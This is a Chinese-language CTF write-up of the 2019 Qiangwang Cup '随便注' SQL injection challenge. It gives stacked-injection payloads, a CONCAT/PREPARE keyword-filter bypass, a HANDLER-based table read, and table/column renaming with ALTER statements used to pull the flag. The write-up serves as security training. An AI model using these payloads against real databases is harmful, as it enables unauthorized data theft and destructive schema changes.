[强网杯 2019]随便注
尝试sqlmap,,,,,放弃
尝试手动注入
1.随便注就随便注啦
输入1
输入1' order by 2#
输入1' order by 3#
可以判断出列数为2
2.尝试联合注入
输入1' union select 2 #
发现存在过滤,许多关键词被禁
3.尝试堆叠注入
堆叠注入原理:https://blog.csdn.net/qq_45691294/article/details/107376284
输入1';show databases;#
堆叠注入可行√
输入11';show tables;
怀疑flag在1919810931114514
中,但关键词select
被过滤掉了
4.绕过关键词过滤(收集到三种方法)
4.1 预处理语句
采用CONCAT
连接字符串避免出现select
-1';
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare sqlsql from @sql;
execute sqlsql;
strstr(str1,str2)
用于判断str2是否是str1的字串,大小写敏感,尝试将set和prepare改为大写
-1';
SET @sql=CONCAT('se','lect * from `1919810931114514`;');
PREPARE sqlsql from @sql;
execute sqlsql;
得到flag
4.2 mysql查询语句-handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。
通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
获得flag
4.3 修改表名
猜测后台查询语句为
select * from words where id = ' ';
将1919810931114514表名修改为words,flag列名改为id,这样进行查询时,实际上是从flag中进行查询。
修改语法:
-- 修改表名(将表名user修改为users)
alter table user rename to users;
-- 修改列名(将字段名username改为names)
alter table users change username names varchar(30)
so
-1';
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#
1' or '1' = '1
制造永真条件,返回数据
其他:
反引号(`)和单引号('')的区别与用法:
- mysql 中用一对反引号来标注 sql 语句中的标识,如数据库名、表名、字段名等
- 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
- 若有表名称为select,因select为关键词,故使用反引号`select`表示该表